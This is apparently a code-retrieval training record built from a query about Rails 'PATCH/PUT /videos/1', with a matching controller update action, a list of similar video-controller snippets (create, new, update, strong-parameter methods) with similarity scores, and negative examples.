"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def video_params\n params.require(:video).permit(:name, :description, :content, :link, :visit, :active, :section_id, :tag_list, :posted_at)\n end",
"def create\n @video = Video.new(params[:video])\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to(@video, :notice => 'Video was successfully created.') }\n format.xml { render :xml => @video, :status => :created, :location => @video }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(params[:video])\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to(@video, :notice => 'Video was successfully created.') }\n format.xml { render :xml => @video, :status => :created, :location => @video }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @medio_video = MedioVideo.new(medio_video_params)\n\n respond_to do |format|\n if @medio_video.save\n format.html { redirect_to @medio_video, notice: 'Medio video was successfully created.' }\n format.json { render :show, status: :created, location: @medio_video }\n else\n format.html { render :new }\n format.json { render json: @medio_video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @admin_video = Admin::Video.new(admin_video_params)\n authorize! :create, @admin_video\n\n respond_to do |format|\n if @admin_video.save\n format.html { redirect_to @admin_video, notice: 'Video was successfully created.' }\n format.json { render action: 'show', status: :created, location: @admin_video }\n else\n format.html { render action: 'new' }\n format.json { render json: @admin_video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def video_params\n params.require(:video).permit(:title, :url)\n end",
"def video_params\n params.require(:video).permit(:title, :video)\n end",
"def video_params\n params.require(:video).permit(:titulo, :palestrante_id, :agenda_id, :descricao, :source, :youtube, :published, :tags, :podcast_stream_url, :podcast_duration)\n end",
"def create\n @video = Video.new(video_params)\n @video.relateds.build\n @video.resources.build\n # obtain video metadata using the Wistia API\n Rails.logger.info(\"obtaining metadata from Wistia API for #{@video.wistia}\")\n media = Wistia::Media.find(@video.wistia)\n @video.title = media.name\n @video.description = ActionController::Base.helpers.strip_tags(media.description)\n @video.duration = (media.duration.to_i / 60) % 60\n @video.thumbnail_url = media.thumbnail.url\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to videos_path, notice: 'Created video listing.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n params[:video][:fecha] = DateTime.strptime(params[:video][:fecha], \"%Y-%m-%d %H:%M:%S UTC\")\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n\t\t\t@v_id = Video.maximum(:id)\n params[:parts].each do |part|\n\t\t\t\tpart[:id_video] = @v_id\n @p = Participante.new(participante_params(part))\n if !@p.save\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n format.html { redirect_to @video, notice: 'El video se ha registrado con éxito en el catálogo.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(video_params)\n if @video.save\n redirect_to @video, notice: \"Video was successfully created.\"\n else\n render :new\n end\n end",
"def video_params\n params.require(:video).permit(:urlID, :order, :description, :title, :curriculum_id)\n end",
"def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to video_show_path(@video.category, @video), notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: video_show_path(@video.category, @video) }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(params[:video])\n\n respond_to do |format|\n if @video.save\n flash[:notice] = 'Video was successfully created.'\n format.html { redirect_to(@video) }\n format.xml { render :xml => @video, :status => :created, :location => @video }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\n #@videos = Video.all\n Video.delete_database_and_files_on_server\n @video = Video.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def videos_params\n params.require(:video).permit(:title, :author, :year, :duration, :video_url, :image_url, :is_winner, :is_entrant, :is_other, :id_for_app)\n end",
"def create\n @table_video = TableVideo.new(table_video_params)\n\n respond_to do |format|\n if @table_video.save\n format.html { redirect_to @table_video, notice: 'Table video was successfully created.' }\n format.json { render :show, status: :created, location: @table_video }\n else\n format.html { render :new }\n format.json { render json: @table_video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def video_params\n params.require(:video).permit(:title, :description, :yt_video_id, :is_complete)\n end",
"def video_params\n params.require(:video).permit(:name, :rating, :category, :subcategory, :language, :tags, :description, :uid, :status, :duration, :url_name, :tumbnail, :video)\n end",
"def video_params\n params.require(:video).permit(:video, :title, :subtitle, :description, :is_published, :is_showed_on_tv, :showed_date)\n end",
"def video_params\n params.require(:video).permit(:url, :item_id)\n end",
"def video_params\n params.require(:video).permit(:url, :item_id)\n end",
"def update\n @video.update(video_params)\n render json: @video\n end",
"def upload_video(new_attributes={})\n BlipTV::ApiSpec.check_attributes('videos.upload', new_attributes)\n\n new_attributes = {\n :post => \"1\",\n :item_type => \"file\",\n :skin => \"xmlhttprequest\",\n :file_role => \"Web\"\n }.merge(new_attributes) # blip.tv requires the \"post\" param to be set to 1\n\n request = BlipTV::Request.new(:post, 'videos.upload')\n request.run do |p|\n for param, value in new_attributes\n p.send(\"#{param}=\", value)\n end\n end\n\n BlipTV::Video.new(request.response['post_url'].to_s)\n end",
"def create\n @video = Video.new(params[:video])\n @video.user = current_user\n\n flash[:success] = 'Video has been uploaded and is being processed.' if @video.save\n respond_with(current_user,@video)\n end",
"def create\n #@videos = Video.where(:curriculum_id => params[:curriculum_id]))\n @video = Video.new(video_params)\n @video.curriculum_id = params[:curriculum_id]\n @curric = Curriculum.find(params[:curriculum_id])\n respond_to do |format|\n if @video.save\n format.html { redirect_to @curric, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n format.js\n\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n \n end",
"def create\n Video.transaction do\n @video = Video.new video_params\n # @video.data = { data: params[:video][:data] }\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end\n # byebug\n\n end",
"def index\n @videos = Video.all\n render json: @videos\n end",
"def create\n @c_video = CVideo.new(params[:c_video])\n\n respond_to do |format|\n if @c_video.save\n format.html { redirect_to @c_video, notice: 'A new video was successfully created.' }\n format.json { render json: @c_video, status: :created, location: @c_video }\n else\n format.html { render action: \"new\" }\n format.json { render json: @c_video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n\n if @video.save\n format.html {\n flash[:notice] = \"Vídeo criado!.\"\n redirect_to(:action => 'show', :id => @video.id, :palestrante_id => @palestrante.id)\n }\n format.json { \n render action: 'show', :palestrante_id => @palestrante.id, status: :created, location: @video\n }\n else\n format.html {\n @palestrantes = Palestrante.ordenados\n @agendas = Agenda.recentes\n render action: 'new'\n }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def video_params\n params.require(:video).permit(:title, :link, :published_at, \n :likes, :dislikes, :uid, :description, :view_count)\n end",
"def add_videos_to_album album_id, videos\n body = {}\n body['videos'] = videos if videos.is_a? String\n body['videos'] = videos.join(',') if videos.is_a? Array\n put(\"/albums/#{album_id}/videos\", body:body, code: 201)\n end",
"def video_params\n params.require(:video).permit(:url, :client_id)\n end",
"def create\n @video = Video.new(video_params.merge(:owner => current_user))\n @original = nil\n if (@video.errors[:video_exists])\n @original = Video.where(:external_id => @video.external_id, :type => @video.type).first\n end\n if @video.save\n render :json => @video, :include => ALL_INCLUDES\n else\n render :json => @video.errors, status: :unprocessable_entity\n end\n end",
"def video_params\n params.require(:video).permit()\n end",
"def video_params\n params.require(:video).permit()\n end",
"def video_params\n params.require(:video).permit(:title, :description, :length, :video_filename, :video_type)\n end",
"def create\n @video = @project.videos.build(params[:video])\n\n respond_to do |format|\n if @video.save\n if current_subdomain_user.facebook_user? && @video.facebook_upload\n ItemWorker.asynch_upload_video_to_facebook(:video_id => @video.id, :fb_session => facebook_session)\n end\n flash[:notice] = 'Video is being processed.'\n format.html { redirect_to(project_item_path(@project, @video, :subdomain => @user.subdomain)) }\n format.xml { render :xml => @video, :status => :created, :location => project_video_path(project, @video) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def video_params\n params.require(:video).permit(:name, :description, :url, :scores)\n end",
"def create\n # This comment part specifies how to perform server side uploading\n # http://cloudinary.com/documentation/rails_video_upload#rails_video_upload_examples\n # http://cloudinary.com/documentation/upload_videos\n # http://cloudinary.com/documentation/video_management\n # http://cloudinary.com/documentation/rails_video_manipulation\n \n # video_public_id = \"video_#{SecureRandom.urlsafe_base64}\"\n # response = Cloudinary::Uploader.upload(params[:video][:target_file], :resource_type => :video, :public_id => video_public_id)\n # Cloudinary::Uploader.upload_large(params[:video][:target_file], :resource_type => :video, :public_id => \"my_folder/my_sub_folder/myvideo1\", :eager => [{:width => 300, :height => 300, :crop => :pad}], :eager_async => true, :eager_notification_url => \"http://c45a1454.ngrok.io/videos/transform_notification\")\n begin\n @active_page = \"videos\"\n if params[:id].blank?\n @video = Video.new(video_params)\n else\n @video = Video.find(params[:id])\n @video.update_attributes(video_params)\n end\n @video.save\n rescue Exception => e\n log_error(e, \"Error occured in Create action of VideosController\")\n flash_error(t('videos.create_page_error'))\n ensure\n redirect_to \"/videos\"\n end\n end"
] |
[
"0.7559166",
"0.72561485",
"0.72147936",
"0.72094315",
"0.70647645",
"0.70605457",
"0.70605457",
"0.70605457",
"0.70605457",
"0.69911706",
"0.69875956",
"0.69875956",
"0.69875956",
"0.69875956",
"0.69875956",
"0.69389236",
"0.69220686",
"0.69220686",
"0.6870992",
"0.68684244",
"0.68430275",
"0.68370944",
"0.6816408",
"0.68134254",
"0.6798081",
"0.67921835",
"0.6789509",
"0.6772529",
"0.6760408",
"0.6708108",
"0.66844577",
"0.6682975",
"0.66635686",
"0.6657436",
"0.6629929",
"0.6613116",
"0.6607621",
"0.6592283",
"0.65757185",
"0.65725845",
"0.6568781",
"0.65679467",
"0.6566252",
"0.65580904",
"0.6553369",
"0.6547095",
"0.65162647",
"0.65071034",
"0.6503909",
"0.6503624",
"0.6503609",
"0.6503609",
"0.6503609",
"0.6503609",
"0.6503609",
"0.6503609",
"0.6503609",
"0.6503609",
"0.6503609",
"0.6503609",
"0.6496814",
"0.6495436",
"0.6495436",
"0.64948714",
"0.64832085",
"0.6482441",
"0.6481707",
"0.64654183",
"0.6459894",
"0.64581156",
"0.6452293",
"0.6444458",
"0.64394623",
"0.6438992",
"0.64351743",
"0.64279187",
"0.64166546",
"0.6407886",
"0.6398252",
"0.6388842",
"0.6379504",
"0.6379504",
"0.63715994",
"0.63700545",
"0.635884",
"0.6358406",
"0.6355771",
"0.6351969",
"0.63493764",
"0.6349152",
"0.6347183",
"0.63343096",
"0.6323096",
"0.6317543",
"0.63078177",
"0.63078177",
"0.6304081",
"0.6303506",
"0.6292723",
"0.6288132"
] |
0.7070432
|
4
|
PATCH/PUT /videos/1 PATCH/PUT /videos/1.json
|
def update
respond_to do |format|
if @video.update(video_params)
format.html { redirect_to videos_path(), notice: 'Video atualizado com sucesso.' }
format.json { render :index, status: :ok, location: @video }
else
format.html { redirect_to edit_video_path(@video), alert: 'Video não atualizado' }
format.json { render json: @video.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n @video.update(video_params)\n render json: @video\n end",
"def update\n @video = Video.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @video = Video.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n # @video = Video.find(params[:id])\n @video = current_user.videos.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @video = Video.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @video = Video.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @video = Video.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @video = Video.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @video = Video.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @video = Video.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @video = Video.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json {\n render json: { files: [@video.to_jq_upload], url: video_path(@video), message: \"Uploaded successfully.\" }, status: :created, location: @video\n }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n\n @project = Project.user_readable(current_user, params[:project_id])\n\n if @project\n\n @video = @project.videos.find(params[:id])\n\n if @video.update(params[:project_video])\n respond_to do |format|\n format.json { render :json => {:video_id => @video.id,\n :aws_videos_path => @video.videos_path}, :status => :ok }\n end\n\n else\n respond_to do |format|\n format.json { render json: @video.errors, status: :unprocessable_entity }\n #format.html { render action: \"edit\" }\n end\n end\n\n\n else\n not_authorized\n end\n\n\n\n\n\n end",
"def update\n respond_to do |wants|\n wants.json {\n result = {}\n video = Video.find_by_tag_id(params[:tid])\n if video\n if video.update_attributes(params[:video])\n result[:result] = \"ok\"\n render :json => result.to_json\n return\n else\n result[:result] = video.errors_full_messages\n end\n else\n result[:result] = \"不存在该视频\"\n end\n render :json => result.to_json, :status => 400\n }\n end\n end",
"def update\r\n @video = Video.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @video.update_attributes(params[:video])\r\n format.html { redirect_to \"/videos?p=\" + @@ADMIN_PASS }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @video.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @video = Video.find(params[:id])\n @video.update_attributes\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render json: @video, status: :created, location: @video }\n else\n format.html { redirect_to videos_path , alert: 'Video was not successfully updated.' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @video = @user.videos.find(params[:id])\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to user_videos_path(@user), notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit_video(video_id, title, description, method = HTTP_PUT)\n request_xml = %{\n <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n <vzaar-api>\n }\n request_xml += %{<_method>put</_method>} if method != HTTP_PUT\n request_xml += %{\n <video>\n <title>#{title}</title>\n <description>#{description}</description >\n </video>\n </vzaar-api>\n }\n auth_connection HTTP_PUT, \"/api/videos/#{video_id}.xml\", request_xml\n end",
"def update\n @video = Video.find(params[:id])\n\tif @video.user == current_user or user_type == 'admin' or user_type == 'super_admin' \n\t\trespond_to do |format|\n\t\t if @video.update_attributes(params[:video])\n\t\t\tformat.html { redirect_to @video, :notice => 'Видео успешно обновлено' }\n\t\t\tformat.json { head :no_content }\n\t\t else\n\t\t\tformat.html { render :action => \"edit\" }\n\t\t\tformat.json { render :json => @video.errors, :status => :unprocessable_entity }\n\t\t end\n\t\tend\n\telse\n\t\tredirect_to '/404'\n\tend\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to home_admin_path, notice: '视频更新成功!' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @video = Video.find(params[:id])\n @licenses = License.all\n @galleries = Gallery.all\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n Video.find(params[:id]).update(video_params)\n redirect_to \"/videos/#{params[:id]}\"\n end",
"def update\n @video = Video.find(params[:id])\n params[:video][:token] = token_from_link params[:video][:token]\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Vídeo atualizada com sucesso' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @video = Video.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes params[:video]\n format.html { redirect_to catnum_path(@video.catnum), notice: 'updated!' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @video = Video.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to(@video, :notice => 'Video was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @video = Video.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to(@video, :notice => 'Video was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @video = Video.find_by_hash_permalink_id(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @video = @project.videos.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n flash[:notice] = 'Video was successfully updated.'\n format.html { redirect_to(project_item_path(@project, @video, :subdomain => @user.subdomain)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video.competition, notice: 'Video modificado correctamente..' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user_video = UserVideo.find(params[:id])\n\n respond_to do |format|\n if @user_video.update_attributes(params[:user_video])\n format.html { redirect_to @user_video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user_video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @videoo.update(videoo_params)\n format.html { redirect_to @videoo, notice: 'Videoo was successfully updated.' }\n format.json { render :show, status: :ok, location: @videoo }\n else\n format.html { render :edit }\n format.json { render json: @videoo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n @video = Video.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @video.update_attributes(params[:video])\r\n format.html { redirect_to(@video, :notice => 'Video was successfully updated.') }\r\n format.xml { head :ok }\r\n else\r\n format.html { render :action => \"edit\" }\r\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n authorize! :update, @admin_video\n\n respond_to do |format|\n if @admin_video.update(admin_video_params)\n format.html { redirect_to @admin_video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @admin_video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @video.update({:owner => current_user}.merge(video_params))\n render json: @video, :include => ALL_INCLUDES\n else\n render json: @video.errors, status: :unprocessable_entity\n end\n end",
"def update\n @video = Video.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n flash[:notice] = 'Video was successfully updated.'\n format.html { redirect_to(@video) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params.merge({ project_id: @project.id }))\n format.html { redirect_to action: 'show', controller: 'videos', project_id: @project.id, id: @video.id, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @video = self.current_user.videos.find(params[:id])\n respond_to do |format|\n if @video.update_attributes(params[:video])\n if params[:video][:upload_ticket]\n # data is coming from asynchronous swf upload form page\n unless @video.asset\n @asset = @video.attach_uploaded_asset!(Videoasset) \n else\n @asset = @video.asset\n end\n if @asset\n format.html { render :partial => \"videos/video_info_form\", :locals => {:all_done => true}}\n else\n format.html { render :partial => \"videos/waiting_for_upload\"}\n end\n else\n # all-in-one upload page\n flash[:notice] = 'Video was successfully updated.'\n format.html { redirect_to(@video) }\n format.xml { head :ok }\n end\n else\n if params[:video][:upload_ticket]\n # data is coming from asynchronous swf upload form page\n format.html { render :partial => \"videos/video_info_form\"} \n else\n # all-in-one upload page\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\n end\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to video_show_path(@video.category, @video), notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: video_show_path(@video.category, @video) }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @saved_video.update(saved_video_params)\n format.html { redirect_to @saved_video, notice: 'Saved video was successfully updated.' }\n format.json { render :show, status: :ok, location: @saved_video }\n else\n format.html { render :edit }\n format.json { render json: @saved_video.errors, status: :unprocessable_entity }\n end\n end\n end",
